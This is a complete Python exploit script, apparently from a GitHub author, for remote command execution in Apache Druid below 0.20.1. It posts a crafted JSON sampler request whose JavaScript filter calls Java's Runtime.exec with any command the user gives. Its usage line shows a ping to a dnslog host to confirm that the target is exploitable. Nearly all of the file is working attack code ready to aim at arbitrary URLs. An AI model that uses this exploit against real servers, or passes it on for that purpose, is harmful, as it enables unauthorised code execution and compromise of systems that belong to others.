import copy
import sys
from optparse import OptionParser
import requests
import json

requests.packages.urllib3.disable_warnings()


def title():
    print('[+] ------------------------------------------')
    print('[+]  Github: https://github.com/j2ekim')
    print('[+]  Version: Apache Druid < 0.20.1')
    print('[+]  使用格式:  python3 exp.py  --help')
    print('[+] ------------------------------------------')


def scan(host, command):
    url = str(host) + "/druid/indexer/v1/sampler"
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0",
        "Accept": "application/json, text/plain, */*",
        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        "Content-Type": "application/json"
    }
    payload = {"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": 'true'}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('00000')}", "": {"enabled": 'true'}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}
    a1 = "function(value) {java.lang.Runtime.getRuntime().exec('%s')}" % command
    payload2 = a1
    payload["spec"]["dataSchema"]["transformSpec"]["filter"]["function"] = payload2

    try:
        rep = requests.post(url=url, headers=headers, data=json.dumps(payload), timeout=5, verify=False)
        if rep.status_code == 200:
            print("[+] 漏洞存在，请前往dnslog平台再次确认")
        else:
            print("[-] failed! Error: ConnectionError")

    except requests.exceptions.ConnectionError:
        print("[-] failed! Error: ConnectionError")

    except requests.exceptions.Timeout:
        print("[-] failed! Error: Timeout")

    except:
        print('[-] failed! Error: Unkonwn error0')


def main(url, cmd,usage):
    if url == None and cmd == None:
        print(usage)
    elif cmd == None:
        print("command not null")
        print(usage)
    else:
        scan(url, cmd)


if __name__ == '__main__':
    usage = ("Usage: python exp.py -u [--url] -c [--command] target\n"
             "python exp.py -u http://127.0.0.1:8888 -c \"ping xxx.dnslog.cn\"\n")
    parser = OptionParser(usage=usage)
    parser.add_option('-u', '--url', dest='url', help='help')
    parser.add_option('-c', '--command', dest='command', help='help')
    (option, args) = parser.parse_args()
    url = option.url
    command = option.command
    main(url, command,usage)
